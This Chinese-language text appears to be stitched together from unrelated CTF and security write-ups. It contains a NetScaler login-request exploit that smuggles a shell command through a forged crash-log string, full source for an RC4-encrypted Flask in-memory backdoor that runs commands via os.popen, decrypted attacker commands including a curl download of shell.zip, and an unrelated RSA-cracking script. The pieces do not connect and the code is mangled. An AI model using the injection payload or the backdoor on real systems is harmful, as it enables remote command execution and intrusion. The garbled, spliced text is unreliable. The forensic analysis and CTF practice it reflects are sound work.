向 /nf/auth/doAuthentication.do 发一个未认证的 POST 登录请求,login 字段携带伪造的 pitboss 崩溃记录(URL 全编码):
1 2 3 4 5
POST /nf/auth/doAuthentication.do HTTP/1.1 Host: netscaler-aaa-server Content-Type: application/x-www-form-urlencoded
login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;`id>/var/tmp/watchTowr`;# X<@/urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=LogOn
pitboss: NSPPE-00 (12345) unexpectedly died AAAD API: sending login req to aaad for <任意字符串>...
构造 payload
如果这个任意字符串是 core 崩溃后日志的格式呢?导致以下日志被写入:
1 2 3
<local0.info> xxxxxx 0-PPE-0 : default SSLVPN Message 675 0 : "AAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor <xxxxx>, auth type 4129, trans id 1350" <local1.info> xxxxxx nsaaad[15791]: (0-57) process_kernel_socket: call to authenticate user :pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X, vsid :11813, userlen 70 <local0.info> xxxxxx 0-PPE-0 : default AAATM Message 678 0 : "AAAD RESP: received resp, user: <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor: <xxxxx>, trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"
伪造的日志经过同一条管道处理(三行均能被 grep 匹配,tail -1 保留最后一条):
grep:匹配 pitboss.*PPE.*unexpectedly died 行;
sed:删除 NSPPE 之前的前缀和整个字段中的括号,得到:
1
NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor: <xxxxx>, trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"
global exc_class global code import os,binascii exc_class, code = app._get_exc_class_and_code(404) RC4_SECRET = b\'v1p3r_5tr1k3_k3y\' def rc4_crypt(data: bytes, key: bytes) -> bytes: S = list(range(256)) j = 0 tfor i in range(256):j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 res = bytearray() for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] res.append(char ^ S[(S[i] + S[j]) % 256]) return bytes(res) def backdoor_handler(): if request.headers.get(\'X-Token-Auth\') != \'3011aa21232beb7504432bfa90d32779\': return "Error" enc_hex_cmd = request.form.get(\'data\') if not enc_hex_cmd: return "" try:enc_cmd = binascii.unhexlify(enc_hex_cmd) cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode(\'utf-8\', errors=\'ignore\') output_bytes = getattr(os, \'popen\')(cmd).read().encode(\'utf-8\', errors=\'ignore\') enc_output = rc4_crypt(output_bytes, RC4_SECRET) return binascii.hexlify(enc_output).decode() except: return "Error" app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()
一个rc4加密的内存马。很明确了,密钥是 v1p3r_5tr1k3_k3y
4
要求找到内存马的名字。
接下来继续看后面的包。根据这个内存马,后面的数据都存在这个data里面。逐个查看data并解密即可知道执行了什么命令。 其分别执行了 id ls -al curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip 这里的下一个http包中就get了一个shell.zip 然后通过打开Hypertext Transfer Protocol,在media type这里导出分组字节流即可获取到压缩包。 或者通过复制as a hex stream的方式放到cycberchef里,然后fromhex 导出也可。注意如果用其他方式复制,可能会导致一些不可显示的数据丢失掉,导致不能正常生成压缩包。
from Crypto.Util.number import * from sympy import nextprime import os from gmpy2 import* n = 10823775490240073819631917849117225946287891171185101059838012738590942083286491895086451201330121282239112048818281379201392391711081928618707509066233928638187019201160301050490769069075313289908655264579328149828347872699697195230421390529843974340674990548004216615592682491515978442178349653549929465663244023757359796216867165844075976331191951027290725012210177449053555588254681079976280745286908897416681478813013297839608241067674026010720343633012556240553683175172988624633735387588606867666858001973089190528295159219227069810517454677330841359125440162677002725561779009788936368150290859696939093099879034996630579194814736517706689658051035296730348668338031728823161338125653461172596730500445378167749498084676295147743704190979584713779480154941790026465774118720519452568935866964502632734126766023547271771741522485702708564882312127253470312413231358374856453986812653197218096126488261909815753848184984064628112603870471377689973632577669755803660286519111642490140982595789903748438781184726565551753915521681764875126384100543905139578572437448873221310081171658381184510994313626085298420060720405712211118973379978497950555404038223284628782496353636937575849667836726918752652643522916609808294676912772669709626282702678281989896980713944961023191040866155298213017019008276602607515680628655918406129027549335549388661763175355900965439242125850380340787177957488885171013738475994880288387184114946910361655893886743701515443028478684376198033356669188403171941244027967567591761268196312412901508832292242743552450482860690493244338059935380601338109164461877746510598646182450038161334450878692284043867773 c = 10660090497301432537437820885848286020311835935260034549173484275959379310864520958356152878610641549326516182239849660339867147213565561569490658510864241912091951711562645132218482839920377179333386420114391233630515012393090359381717875467071280927583120692784917275074532993409388122061004854178182661632604182150765151482558156183912422898613209559942234127025063687928879910292952039316531554812705081695248540209866005563219806997627684236587554109286831877006896470109805219447282525518519161097673276492456094713735029038771812376330352652393029164468202357817665724369560583349301558861453705718562711798522554316893417360531922795446452749685308492123451575279293644339041629468390133378328145993285368218775498976282596017084494092950586275565868969964447619034372770452127643594002885530340353730337577609060573094563836165559288998090805166088888016631981190567474132421889397451224492478175286707362679459528061705122579238644392225558752144211463152201143723558678398331677420261413849490732610210418705205396485108198008618730081560787598535809656356334449123152662358838247968331030455386114998823400263422044625507507829935684490654252473089135735147481428318393546785418776661158864450118169388804900558540117140348002680864998171847298229035444536926030071973643938958868695657994095200366957439503117930474161132984898344356321926977383591037057394861749532205998932840557833372993944408083463060446903121200107227041538939713625198024076302549803852074630498649236538622458710733295489005936281570737839438843387492079285997225293361642946364581369251919661240027265549956890265107036578709824437885345581015267152770 e = 65537 nn = n%(2**414) x=2 q=nn//(x**5) while (1): x+=1 q=nn//(x**5) if(q*(x**5)==nn): p5=n//q if(p5*q==n): break p=gmpy2.iroot(p5,5)[0] phi=(q-1)*(p-1)*p**4 d = inverse(e,phi) m=pow(c,d,n) print(long_to_bytes(m))